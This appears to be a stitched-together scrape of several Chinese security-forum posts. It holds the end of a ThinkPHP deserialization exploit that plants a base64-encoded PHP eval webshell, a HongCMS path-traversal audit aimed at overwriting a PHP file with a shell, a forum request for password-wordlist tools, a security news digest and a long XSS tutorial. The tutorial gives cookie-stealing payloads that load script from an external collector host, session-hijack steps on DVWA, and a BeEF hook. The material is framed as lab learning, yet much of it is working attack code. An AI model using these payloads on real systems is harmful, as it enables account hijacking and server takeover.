use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
//protected $baseQuery=true;
protected $parent;
protected $localKey='a';
protected $foreignKey='a';
protected $pivot;
public function __construct(){
$this->query=new Output();
$this->parent= new Merge();
}
}
namespace think\model;
class Relation
{}
namespace think\db;
class Query{}
namespace think\console;
class Output{
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
'getTable',
'where'
];
private $handle;
public function __construct()
{
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class Memcached
{
protected $tag;
protected $options;
protected $handler;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
];
$this->handler = (new File);
}
}
class File
{
protected $tag;
protected $options;
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
echo urlencode(serialize(new \think\Process()));
效果如下：
## 3\. 总结
如果是从think\process\pipes\Windows的__destruct方法出发，则必须要关注think\Model的toArray方法是否存在利用点，且toArray方法受版本影响较大，经常改变。如果think\Process的__destruct方法出发则需要关注Relation类是否已经变为抽象类，该变化是从thinkphp5.0.04版本开始。之后利用就再无其它变化影响。网上的大部分高版本链子都是从think\process\pipes\Windows的__destruct方法出发，所以在遇到低版本时，会出现错误。判断这类高版本链子在不同版本下是否可用的关键就在于是否在toArray中存在触发点。网上已有的高版本链子我也就不加赘述，拾人牙慧了。 | 社区文章 |
## 0x01 前言
最近写PHP代码比较多，也算不上什么精通，感觉要使用php就得知道这门语言的底层原理，这里决定了解一下PHP底层的工作原理。
## 0x02 什么是PHP
PHP是一种适用于Web开发的动态语言，是一个用C语言实现，包含大量组件的软件框架。狭义方面来说，可以说是个UI框架(用户界面,也可以说是UI模版[(UI定义)](https://www.eefocus.com/yitianzhaohai1/blog/17-03/409354_eaccc.html))
## 0x03 PHP设计理念与特点
* 多进程模型：由于PHP是多进程模型，不同请求间互不干涉，这样保证了一个请求挂掉不会对全盘服务造成影响，当然，随着时代发展，PHP也早已支持多线程模型。
* 弱类型语言：和C/C++、Java、C#等语言不同，PHP是一门弱类型语言。一个变量的类型并不是一开始就确定不变，运行中才会确定并可能发生隐式或显式的类型转换，这种机制的灵活性在web开发中非常方便、高效.
* 引擎(Zend)+组件(ext)的模式降低内部耦合。
* 中间层(sapi)隔绝web server和PHP。
* 语法简单灵活，没有太多规范。
## 0x04 PHP核心架构
php四层体系如下：
从下到上的四层体系:
* Zend引擎：Zend整体用C语言实现，是PHP的内核部分。它将PHP代码翻译，实现了基本的数据结构，内存分配机制及管理，提供了相应的api供外部调用，是一切的核心。
* Extensions：围绕Zend引擎，extensions通过组件式的方式提供各种基础服务，我们常见的各种内置函数、标准库等都是通过 extension来实现，用户也可以根据需要实现自己的extension。
* Sapi：Aerver Application Programming Interface，即服务端应用编程接口，是PHP和web server的中间层。Sapi通过钩子函数，使PHP能和外部交互数据，这也将PHP和上层应用解耦。
* 上层应用：就是我们平时编写的PHP程序，通过不同的sapi方式得到各种各样的应用模式
这里有个很好的通俗比喻:如果PHP是一辆车，那么车的框架就是PHP本身，Zend是车的引擎（发动机），Extensions下面的各种组件就是车的轮子，Sapi可以看做是公路，车可以跑在不同类型的公路上，而一次PHP程序的执行就是汽车跑在公路上。因此，我们需要：性能优异的引擎+合适的车轮+正确的跑道。
## 0x05 Sapi
常见的Sapi有：
* apache2handler：以apache作为webserver，采用mod_PHP模式运行时候的处理方式，也是现在应用最广泛的一种。
* fast-cgi：这是webserver和PHP直接的另一种交互方式，也就是大名鼎鼎的fastcgi协议，在最近fastcgi+PHP得到越来越多的应用，也是异步webserver所唯一支持的方式。nginx就是通过php-fpm(fast-cgi)来解析php的。
* cli：命令行调用的应用模式
## 0x06 PHP执行流程
拿到一段代码后，经过词法解析、语法解析等阶段后，源程序会被翻译成一个个指令（opcodes）,然后ZEND虚拟机顺次执行这些指令完成操作。PHP本身是用C实现的，因此最终调用的也是C的函数，实际上，我们可以把PHP看做一个C开发的软件。
PHP的执行的核心是翻译出来的一条一条指令，也即opcode。
Opcode是PHP程序执行的最基本单位。一个opcode由两个参数(op1,op2)、返回值和处理函数组成。PHP程序最终被翻译为一组opcode处理函数的顺序执行。
## 0x07 PHP变量
PHP是一门弱类型语言，本身不严格区分变量的类型。PHP变量可以分为简单类型(int、string、boolean)、集合类型(array、resource、object)和常量(const)。所有变量在底层都是同一种结构zval。
zval主要由三部分组成：
type：指定变量的类型
refcount&is_ref：用来实现引用计数
value：存储变量的实际数据(核心)。因为要存储多种类型，所以zvalue是一个union，也由此实现了弱类型。
## 0x08 相关文章
<https://sphenginx.github.io/2016/07/11/php-theory/>
<https://seminelee.github.io/2017/11/19/php/>
<http://www.nowamagic.net/librarys/veda/detail/102>
具体内容可以参考上面几篇文章 | 社区文章 |
有木有通过社会工程学自动生产用户名和字典的脚本？
以前模模糊糊的记录有一款，是在想不起来了。问下大家都用啥呢？ 还是自己去想呢， 自己想的话真的靠运气了，会有遗漏的。。。
深刻的印象、某次在某超大的公司、某人猜到了内网机器的密码。360360360，思路是一方面，
如果能根据收集到的信息，自动生产一份字典，不断完善不断完善，会是一个蛮不错的工具吧，大家觉得呢？ | 社区文章 |
初学审计的我很菜，跪求各位大牛指点；
认真分析这个漏洞，版本是HongCMS3.0.0；
直接访问/index.php是不行的，还必须手动安装；
访问/intall/index.php进行图形化安装完成之后，按照指引对install目录进行删除；
使用刚才安装时候的账户和密码登录后台之后，在：系统->模板管理->模板文件列表功能中观察，有修改模板的功能；
我首先使用正常功能对其进行修改并进行操作并抓包分析：
新加了一行，然后保存更新，查看这个包：
根据这个功能分析是这样的：
1.页面是在/admin/index.php，然后调用的方法是template控制器里面的save()方法进行保存；
2.参数分析：file=文件名&dir=目录(这个目录好像只能指向Default目录)&fileconten=修改之后的文件内容；
直接跟到代码层去分析这个方法：
/admin/controllers/tmplate.php
public function save(){ //保存模板文件
$file = ForceStringFrom('file');
$filepath = $this->temp_path . $this->current_dir . $file;
if (is_writable($filepath)) {
$filecontent = trim($_POST['filecontent']);
if (get_magic_quotes_gpc()) {
$filecontent = stripslashes($filecontent);
}
$fd = fopen($filepath, 'wb');
fputs($fd,$filecontent);
Success('template'. Iif($this->current_dir, '?dir=' . $this->current_dir));
}else{
$errors = '模板文件('.$file.')不可写! 请将其属性设置为: 777';
Error($errors, '编辑模板错误');
}
}
这个save()方法直接通过 /admin/index.php/template/save进行调用。
代码中的$file是通过ForceStringFrom函数进行收取。
而ForceStringFrom()和ForceString()直接收取$_POST[]中的参数与值，调用函数EscapeSql进行转义和过滤；
但是这也就证明了$file是我们可以控制的；
而通过控制$file，我们可以间接的控制$filepath：
$filepath = $this->temp_path . $this->current_dir . $file;
//public function __construct($path){
// parent::__construct($path);
//
// $this->temp_path = ROOT.'public/templates/';
//
// $this->current_dir = ForceStringFrom('dir');
//
// if(!$this->ajax) SubMenu('模板管理'); //根据父对象SAdmin的ajax成员变量, 判断是否为ajax动作
// }
//
//这个类名叫c_template，继承自SAdmin，构造函数如上，如刚才我们那样传参：
//$this->temp_path = /public/templates/
//$this->current_dir = Default/
//$filepath = /public/templates/Default/[文件名]
//如果将$file构造成这样：../../../../shell.php应该就可以直接对其他目录的其他文件进行操作了。
这里我总结一下：
可以控制$file和$filepath两个变量了；
if (is_writable($filepath)) {
$filecontent = trim($_POST['filecontent']); //这里直接通过POST接受内容，去掉前面的空白内容。
if (get_magic_quotes_gpc()) {
$filecontent = stripslashes($filecontent);
}
而在其后的if()语句中，$filecontent直接接受$_POST['filecontent']作为变量内容，这里我们又可以控制写入文件的内容了；
但是在上面的if()中有个is_writable()去验证我们上面的$filepath是否存在并且为可写的。
那么这里我们只能找一个已经在web程序目录中存在的php文件去覆写并获取shell了；
/models/user.php看上去没有什么实质性的用处，我试试去覆写他；
那么$filepath我们需要控制为：/public/templates/Default/../../../models/user.php；
然后： | 社区文章 |
# 【知识】10月21日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： OSX平台Proton后门恶意软件——供应链攻击、Office
DDE多种利用方式已公开、俄罗斯网络间谍正抓紧exploit最近Flash的0day、本周勒索软件：Magniber，Hermes，Sage 2.2
，Tyrant，ViiperWare，Blue Eagle新变种、看我如何发现Yahoo! Guesthouse
的SSRF漏洞的、游戏键盘确实比其他键盘快吗——记一次键盘延迟研究**
**资讯类：**
****
OSX平台Proton后门恶意软件——供应链攻击
（从Eltima官方下载的Elmedia Player播放器居然是恶意软件！）
<https://blog.malwarebytes.com/cybercrime/2017/10/mac-malware-osx-proton-strikes-again/>
<https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/>
Office DDE多种利用方式已公开（打开outlook客户端查看邮件及office文档时注意不清楚的弹框不要点确认）
<http://willgenovese.com/office-ddeauto-attacks/>
临时缓解措施，关闭DDEAUTO
<https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b>
趁热打铁：俄罗斯网络间谍正抓紧exploit最近Flash的0day
<https://www.bleepingcomputer.com/news/security/russian-cyberspies-are-rushing-to-exploit-recent-flash-0-day-before-it-goes-cold/>
中情局负责人称正努力消灭WikiLeaks这样的威胁
<http://www.washingtontimes.com/news/2017/oct/20/cia-working-take-down-wikileaks-threat-agency-chie/>
本周勒索软件：Magniber，Hermes，Sage 2.2 ，Tyrant，ViiperWare，Blue Eagle新变种
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-20th-2017-magniber-and-the-hermes-bank-heist/>
**技术类：**
****
游戏键盘确实比其他键盘快吗——记一次键盘延迟研究
<http://danluu.com/keyboard-latency/>
看我如何发现Yahoo! Guesthouse 的SSRF漏洞
<https://medium.com/@th3g3nt3l/how-i-found-an-ssrf-in-yahoo-guesthouse-recon-wins-8722672e41d4>
使用NtCreateThreadEx/QueueUserAPC/SetThreadContext/SetWindowsHookEx进行DLL注入
<https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Stage-RemoteDll.ps1>
BaRMIe – Java RMI Enumeration And Attack Tool
<http://www.kitploit.com/2017/10/barmie-java-rmi-enumeration-and-attack.html>
Blazy ——登录爆破工具（同时可检测CSRF, Clickjacking, Cloudflare and WAF）
<http://www.kitploit.com/2017/10/blazy-modern-login-bruteforcer-which.html>
NSEarch：Nmap脚本搜索引擎
<https://n0where.net/nmap-scripting-engine-search-nsearch/>
open redirect subdomains scanner
<https://github.com/ak1t4/open-redirect-scanner>
用法：
./redirect.py [subdomains.file] [redirect-payload] | 社区文章 |
# XSS漏洞
# 绕过推荐
XSS绕过可以看看该文章：[XSS过滤绕过速查表](https://blog.csdn.net/weixin_50464560/article/details/114491500)
# 0.介绍
跨站攻击，即Cross Site Script
Execution(通常简写为XSS)，是前端的漏洞，产生在浏览器一端的漏洞。它是指攻击者在网页中嵌入客户端脚本，主要利用js编写的恶意代码来执行一些想要的功能，也就是说它能干嘛是受到js的控制，那么js能执行出什么脚本代码就取决于它能干嘛。当用户使用浏览器浏览被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。
## 0.1.能干嘛
常规用到的是盗取cookie、js做钓鱼攻击、流量指向等。主要是盗取管理员的会话和cookie信息，就是我们常说的管理员凭证，就意味着得到后台权限，可以直接利用。还能配合别的漏洞，比如可以和网页木马结合，扔到那里去跳转到网马地址，网马地址被执行后续就控制一些权限
# 1.原理分析
输出问题导致的js代码被识别执行
<?php
$xss=$_GET['x'];
echo $xss;
//127.0.0.1/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 调用执行
//漏洞产生原理：输出问题
?>
# 2.发现
由于漏洞产生在前端，那么发现的话，主要是看浏览器的执行
人为手工测试，测试显示地方是否能够自定义。一般出现在数据交互的地方（留言板，数据插入地方），比如网上的营销页面，购买商品需要自己选择，填写收货地址，电话等，这里可以把跨站语句插入进去，如果没有过滤，极有可能导致跨站漏洞
工具扫描测试（awvs，appscan）
# 3.分类
## 3.1.反射型XSS（非持续型XSS）
### 介绍
是一种非持续型攻击。漏洞本身存在，但是需要攻击者构造出来，然后让对方去触发。它不会对正常的访问造成跨站攻击。这种攻击是一次型攻击，它不会写入到数据库里。当用户访问一个带有XSS代码的URL请求时，服务器端接收数据后处理，然后把带有XSS的数据发送到浏览器，浏览器解析这段带有XSS代码的数据后，最终造成XSS漏洞。这个过程就像一次反射。
### 出现地方
交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询类页面
### 3.1.1.注意事项
我们可通过发送构造的链接，来进行利用：
* 需要一个网站，网站中有个能够收集cookie 的文件
* 需要有收集受害者cookie后将收集的cookie发送给网站中文件的js文件
* 构造链接，当用户点击该链接时，相当于执行了获取该用户的cookie并把cookie发送给收集cookie文件的操作。
例1：如果是NASA网站的跨站，大家完全可以在一些天文爱好者聚集的群里发类似这样的消息，如：“美国航空航天局公布最新UFO照片”然后加上我们的链接。由于是NASA的链接(现在连小学生都知道NASA是干什么的)，我想应该会有一部分人相信而去点击从而达到了我们的目的，这个反射型的XSS被触发。
例2：
（1）用户z是网站www.xxx.org的粉丝，此时正在论坛看信息。
（2）攻击者发现www.xxx.org/xss.php存在反射型漏洞，然后精心构造JavaScript代码，此段代码可以盗取用户cookie发送到指定的站点www.xxser.com。
（3）攻击者将带有反射型XSS漏洞的URL通过站内信发送给用户z，站内信为一些诱惑信息，目的是为了让用户z单击链接。
（4）假设用户z单击了带有XSS漏洞的URL，那么将会把自己的cookie发送到网站www.xxser.com。
（5）攻击者将接收到用户z的会话cookie，可以直接利用cookie以z的身份登录www.xxx.org，从而获取用户z的敏感信息 。
### 3.1.2.过程
参考：[通过DVWA学习XSS](https://blog.csdn.net/weixin_50464560/article/details/114782337)反射型XSS从简入难
#### 3.1.2.1.判断
比如如下网站：
[
我们在账户输入处输入whoami，查看源代码，按下ctrl+f来搜索：whoami，看出现在哪个位置，来构造特定的payload
[
我们可以构造`">
<script>alert('XSS')</script>`把前面的`<input`闭合掉，让它执行后面的代码，构造好代码后把URL变成短链接发送给管理员，管理员点击打开获取他的cookie登录
[
挖掘反射型xss的方法就是这些，手工也是这个方法，只是需要自己去找存在xss漏洞的网站，手工就一句话：见框就插，改数据包中的参数，改URL中的参数，js源代码分析。
改数据包，js源代码分析比较深就不再细说了，见框就插就比较好理解了，先在输入框输入唯一的字符串，查看源代码字符串的位置，在输入
`<>""/&()`的时候看过滤了什么，根据过滤的字符来构造特定的xss代码
#### 3.1.2.1.使用工具
**注意：这里网上有许多搭建的XSS Platform，如果一个不能用可以换别的用，不一定要用我给的这个，甚至可以自己搭建一个XSS
Platform。不过下面的过程是我基于这个网站使用的，都大同小异**
自己搭建XSS
Platform可以参考这篇文章：<https://blog.csdn.net/weixin_50464560/article/details/115355509>
(其中`BlueLotus_XSSReceiver(蓝莲花)`的搭建和源码也在里面，如何使用在其中的READEME.md里，还有这篇会更加详细：<https://blog.csdn.net/weixin_50464560/article/details/115360092>）
1.
先使用XSS Platform：<https://xss.pt/，点击“创建项目”。>
[
打勾“默认模块”，该模块是获取cookie值的。
* 无keepsession
* keepsession
`无keepsession`和`keepsession`的区别:
`keepsession`的意思是保持连接，也就是当获取到目标网站的cookie后，保持这个cookie，因为网站cookie可能是有时效的，比如时效为10分钟，那么当接收到这cookie后，没有及时查看，cookie过期失效了，那么这个cookie就没有用处了。当选择`keepsession`后，没有及时查看，cookie过期失效了，那么这个cookie就没有用处了。当选择`keepsession`后，XSS
Platform将会一直在后台刷新cookie，也就是保持这个cookie的有效性，反之，`无keepsession`就是不保持连接。
那么`keepsession` 到底是怎么样实现的呢？看了下代码发现很简单，平台会自动的隔一段时间，遍历整个 `keepsession`
表里面的数据。随后循环对目标服务器进行一次带cookie的请求。这样就实现了维持会话的功能了。
下面的其他模块，各自代表着xss的其他种攻击，具体可在“配置代码”这步选完进去后，在左边的“公共模块”里点击，查看模块信息
[
以下为部分截图，只要将其中一种代码插入怀疑出现XSS的地方，发给别人，如果有人点击该地址，我们就可在"项目内容"中查看其cookie值
[
其中的代码看情况来用。下面写出我比较常用，直接插入构造，访问后cookie可返回到“项目内容”的代码。
图片插件一： https://xss.pt/GFLXp.jpg
<Img sRC=https://xss.pt/GFLXp.jpg>
一、
1.<sCRiPt sRC=//xss.pt/GFLX></sCrIpT>
2.标准代码
</tExtArEa>'"><sCRiPt sRC=https://xss.pt/GFLX></sCrIpT>
二、IMG 标签
1.
</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss.pt%2FGFLX%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
2.<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/GFLX';>
3.通杀火狐谷歌360
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzcy5wdC9wNzBlPycrTWF0aC5yYW5kb20oKQ=='))>
三、标签iframe等
1.实体10进制编码↓
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/GFLX"></sCrIpT>>
2.实体16进制编码
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/GFLX"></sCrIpT>>
这里我用到dvwa靶场的medium级别。为了更好的验证，我使用了username为1337的用户进行登录。
这里我先构造js代码测试出这里存在反射型xss漏洞
[
然后构造链接
http://192.168.1.3/dvwa/vulnerabilities/xss_r/?name=%3Ciframe WIDTH%3D0 HEIGHT%3D0 srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%23x3C%3B%26%23x73%3B%26%23x43%3B%26%23x52%3B%26%23x69%3B%26%23x50%3B%26%23x74%3B%26%23x20%3B%26%23x73%3B%26%23x52%3B%26%23x43%3B%26%23x3D%3B%26%23x22%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2E%3B%26%23x70%3B%26%23x74%3B%26%23x2F%3B%26%23x47%3B%26%23x46%3B%26%23x4C%3B%26%23x58%3B%26%23x22%3B%26%23x3E%3B%26%23x3C%3B%26%23x2F%3B%26%23x73%3B%26%23x43%3B%26%23x72%3B%26%23x49%3B%26%23x70%3B%26%23x54%3B%26%23x3E%3B%3E#
然后再用admin账户登录，级别为low。复制构造好的网址并访问
[
[
然后就盗取到该cookie了，看到cookie值security=low，正好是我们设置的low级别，得知盗取admin账户的cookie成功了
[
最后按F12，点击Application这一栏，将其中的cookie修改为我盗取到的admin的cookie，再刷新界面，可以看到我们变成了admin的账户，级别也变为low了
[
[
#### 3.1.2.2.注意
刚开始我不是用火狐的低版本浏览器来验证，而是用Microsoft Edge
88.0.705.74的高版本浏览器来验证，一直失败，最后用火狐就成功了。我觉得这里应该是涉及到了浏览器的安全策略问题，所以尽量使用低版本的浏览器来做XSS漏洞，高版本会过滤js本地的一些脚本的加载使攻击失效。
### 3.1.3.特别操作
#### 3.1.3.1.XSS之href输出
在a标签的href属性里面,可以使用javascript协议来执行js，可以尝试使用伪协议绕过。
`javascript:alert(/xss/)`
点击即可触发弹窗
这里是自己写的一个a标签的href属性：`<a href=javascript:alert(/xss/)>xss</a>`
[
如果你在输入框中输入的代码直接出现在a标签的href属性里面，那就直接写`javascript:alert(/xss/)`
[
#### 3.1.3.2.XSS之盲打
XSS盲打是一种攻击场景。我们输出的payload不会在前端进行输出，当管理员查看时就会遭到XSS攻击。
输入常规的payload:`<script>alert(1)</script>`,点击提交后发现这里提示一段文字，应该是直接传到后台了，找到后台，登录进去看看
[
后台地址是/xssblind/admin_login.php。pikachu有三个初始用户，我这里的是用户名admin，密码123456，登录即可触发XSS
[
还有一点，如果碰上了XSS中目标不让信息显示出来，如果能发送请求，那么就可以尝试咱这个办法——用DNSlog来获取回显。简单来说，在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上，就可以在用户访问的时候，将他的信息带回来。具体可以看我的另外一篇笔记，是关于DNSlog来使本来不会显示的信息回显的，比如SQL盲注就可以利用此方法
#### 3.1.3.3.XSS之过滤
具体可看这个：XSS过滤绕过速查表(按ctrl键点我跳转)
输入`'<script>alert(1)</script>` ，看输出结果和前端源码，被过滤得只剩下`'>`了，输入与输出结果不一致。
[
这里看一波源码，发现这里会使用正则对<script进行替换为空,也就是过滤掉，但是只是对小写进行了替换。
[
那我们就尝试用大写绕过
payload：`<Script>alert(1)</sCript>`
成功
[
因为这里只是过滤了`script`，所以其实还有许多payload可以尝试，比如：`<img src=a
onclick="alert(1)">`点击图片触发弹窗、`<img src=a
onmouseover="alert(1)">`鼠标移动到图片的位置触发弹窗、`<img src=a
onerror="alert(1)">`图像加载过程中发生错误时触发弹窗。还有下面这种：
<iframe/src=data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=></iframe>
//iframe元素会创建包含另外一个文档的内联框架（即行内框架）。我将<script>alert(/xss/)</script>用base64编码然后放在iframe元素里，这里也可以绕过
## 3.2.存储型XSS（持续型XSS）
### 介绍
是一种持续型的攻击。将跨站代码植入到网站的数据库中。一旦攻击者第一次成功攻击之后，那么在后续的其他访问者均会受到跨站攻击。这种攻击可能是写到网站的留言板，那么当对方访问留言板就会被触发。它与反射型、DOM型XSS相比，具有更高的隐蔽性，危害性也更大。它们之间最大区别在于反射型与DOM型XSS执行都必须依靠用户手动触发，而存储型XSS却不需要。
### 出现地方
交互的数据会被存在数据库里面，永久性存储，一般出现在留言板、注册等页面
### 3.2.1.过程
#### 3.2.1.1.判断
存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端，反射型输入的数据游走在客户端
存储型xss主要存在于留言板评论区，因为最近没有挖到存储型xss，所以这里就用dvwa的留言板用来演示：
点击留言 **(这里最好不要使用`
<script>alert("xss")</script>`来测试是否存在XSS漏洞，容易被管理员发现，所以你可以使用``来测试，如果成功了，不会被管理员发现)**
OK，我先在留言里输入`<a>s</a>`提交留言，F12打开审查元素，来看我们输入的标签是否被过滤了
[
发现没有过滤 (如果`<a>s</a>`中的`<a></a>`是彩色的说明没有过滤，如果是灰色就说明过滤了)
[
这里换成`impossible`级别就是灰色的，说明被过滤了
[
这里留言板中只留下s，并且s是这样显示的，也说明这里没有过滤
[
这里换成`impossible`级别就留下`<a>s</a>`，说明被过滤了
[
#### 3.1.2.2.使用工具
和反射型XSS的利用方法大同小异
反射型XSS(按ctrl键点我跳转)
#### 3.1.2.3.优势
我在留言板中写下如下留言：
[
[
只要管理员点击那个留言板中已经成功写入获取cookie代码的网页，我们就可以获取到管理员的cookie和后台地址
比如这里我一在dvwa的留言板中刷新，XSS Platform中就会有我的cookie和这个dvwa的地址
[
## 3.3.DOM型XSS
### 介绍
[DOM-XSS攻击原理与防御](https://www.cnblogs.com/mysticbinary/p/12542695.html)
[DOM型xss深度剖析与利用](https://blog.csdn.net/Bul1et/article/details/85091020)
DOM的全称为Document Object
Model，即文档对象模型，DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
通过js可以重构整个HTML页面，而要重构页面或者页面中的某个对象，js就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示，并定义了如何通过脚本来访问文档结构。根据DOM规定，HTML文档中的每个成分都是一个节点。
DOM的规定如下：
* 整个文档是一个文档节点；
* 每个HTML标签是一个元素节点；
* 包含在HTML元素中的文本是文本节点；
* 每一个HTML属性是一个属性节点；
* 节点与节点之间都有等级关系。
HTML的标签都是一个个的节点，而这些节点组成了DOM的整体结构：节点树。如图所示：
[
简单来说，DOM为一个一个访问html的标准编程接口。
可以发现DOM本身就代表文档的意思，而基于DOM型的XSS是不需要与服务器端交互的，它只发生在客户端处理数据阶段，是基于javascript的。而上面两种XSS都需要服务端的反馈来构造xss。
DOM型XSS示例：
<script>
var temp = document.URL; //获取URL
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par)); //输入获取内容
</script>
上述代码的意思是获取URL中content参数的值，并且输出，如果输入
`网址?content=<script>alert(/xss/)</script>`,就会产生XSS漏洞
这里再举一例：
这个文件名为123.html
<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>
**在这里我先解释下上面的意思**
Document.write是把里面的内容写到页面里。
document.URL是获取URL地址。
substring 从某处到某处，把之间的内容获取。
document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符，然后加2(因为a=是两个字符，我们需要把他略去)，同时他也是substring的开始值
document.URL.length是获取当前URL的长度，同时也是substring的结束值。
合起来的意思就是：在URL获取a=后面的值，然后把a=后面的值给显示出来。
[
怎么会出现这个问题呢？
因为当前url并没有`a=`的字符，而`indexOf`的特性是，当获取的值里，如果没有找到自己要检索的值的话，返回-1。找到了则返回0。那么`document.URL.indexOf("a=")`则为-1，再加上2，得1。然后一直到URL最后。这样一来，就把file的f字符给略去了，所以才会出现`ttp://127.0.0.1/123.html`
大致的原理都会了，我们继续下面的
我们可以在123.html后面加上?a=123或者#a=123，只要不影响前面的路径，而且保证a=出现在URL就可以了。
[
我们清楚的看到我们输入的字符被显示出来了。
那我们输入`<script>alert(1)</script>`会怎么样呢？
答案肯定是弹窗(这个用的是360安全浏览器)
[
但是这下面没却没有弹窗，这是为什么呢？这是因为浏览器不同，maxthon、firefox、chrome则不行，他们会在你提交数据之前，对url进行编码。这不是说DOM型XSS不行了，这只是个很简单的例子，所以不用在意。
[
我再次强调下，DOM型XSS 是基于javascript基础上，而且不与服务端进行交互，他的code对你是可见的，而基于服务端的反射型、存储型则是不可见的。
### 3.3.1.利用原理
客户端JS可以访问浏览器的DOM文本对象模型是利用的前提，当确认客户端代码中有DOM型XSS漏洞时，并且能诱使(钓鱼)一名用户访问自己构造的URL，就说明可以在受害者的客户端注入恶意脚本。利用步骤和反射型很类似，但是唯一的区别就是，构造的URL参数不用发送到服务器端，可以达到绕过WAF、躲避服务端的检测效果。
### 3.3.2.过程
输入测试代码`'"<>`，显示的内容和我们所输入的有所不同
[
那就来看看源码吧
[
HTML的DOM中，`getElementById()`方法可返回对拥有指定 ID
的第一个对象的引用。语法为：`document.getElementById(id)`。在这里就是获取标签id为`text`的值传递给`str`，`str`通过字符串拼接到a标签中。所以我们要闭合前面的标签
输入payload：`'><img src=a onmouseover="alert(1)">`
成功闭合，鼠标移动到图片的位置触发弹窗
[
# 4.注意事项
1.能不能执行js代码主要看浏览器的安全策略怎么样，要考虑到各个浏览器的版本的安全策略，浏览器版本比较高的时候，有些js代码会被禁用。像IE高版本会过滤js本地的一些脚本的加载，所以存在这个攻击也会攻击失效
2.需要受害者去配合。一般需要特定的人去访问去触发才行。是被动攻击
# 5.XSS工具
## 5.1.xss平台
上面已经介绍过，这里就不赘述了
反射型XSS(按ctrl键点我跳转)
## 5.2.BeEF
这个工具在kali上有集成。
该使用工具在freebuf上有一个系列文章，写的非常好，这里分享一下：[BeEF](https://www.freebuf.com/sectool/178512.html)
我这里就简单介绍下如何使用吧。
先打开kali，这里打开beef的方式有两种，第一种是以下这种：
在这里搜索beef，点击其中的`beef xss framework`或者`beef start`任选一个
[
第二种是直接命令行中敲`beef-xss`。
[
然后都是在命令行上，等待上面的秒数从5到1后，会跳出一个页面让我们登录
[
这里如果不知道用户名和密码的话，可以在命令行敲这个命令：`vim /etc/beef-xss/config.yaml`，在里面可以进行查看。如果想修改的话也可以自行修改，修改了密码则要重新启动BeEF进行登录(如果登录不了，则kali重启再重新启动程序)
登录成功，里面是长这个样子
[
这时候啥都干不了，是因为你有一步很重要的操作没做。这里需要把图中红框中的payload复制粘贴到你的目标xss的位置，然后将其中的`<IP>`改成你这台kali的IP地址，最终payload为：`<script
src="http://X.X.X.X:3000/hook.js"></script>`
[
这里我用dvwa来模拟场景。将payload插入其中，点击submit
[
这时候再回到BeEF中查看，会发现online browers中多了点东西，这时候就可以开始操作了
[
我这里介绍下这个主页面：
其中最左边的是`Hooked Browers`
* online browers：在线浏览器
* offline browers：离线浏览器
`Current Browser`中的这几栏分别有：
`Detials`
* 浏览器、插件版本信息，操作系统信息
`Logs`
* 浏览器动作：焦点变化，鼠标单击，信息输入
`commands`
* 绿色模块：表示模块适用当前用户，并且执行结果对用户不可见
* 红色模块：表示模块不适用当前用户，有些红色模块也可以执行
* 橙色模块：模块可用，但结果对用户可见
* 灰色模块：模块为在目标浏览器上测试过
介绍完之后，再回到刚才的场景。这里在BeEF中的`Current Browser`中点击其中的`Commnads`，其中就可以选择许多模块来对目标进行攻击
这里举波例子：
选择 `Brower`下面的`Hooked Domain`中的`Create Alert Dialog`（创造一个弹窗
），点击右下角的`Execute`运行。
[
然后看看dvwa的状态，成功弹窗
[
这里再举个获取cookie的例子：
选择 `Brower`下面的`Hooked Domain`中的`Get Cookie`，点击右下角的`Execute`运行。
然后就会返回目标的cookie
[
这里我模拟管理员，我的cookie就被窃取走了。可是这里来到浏览器按F12打开开发者工具比对完发现少了两个，这里来看下
[
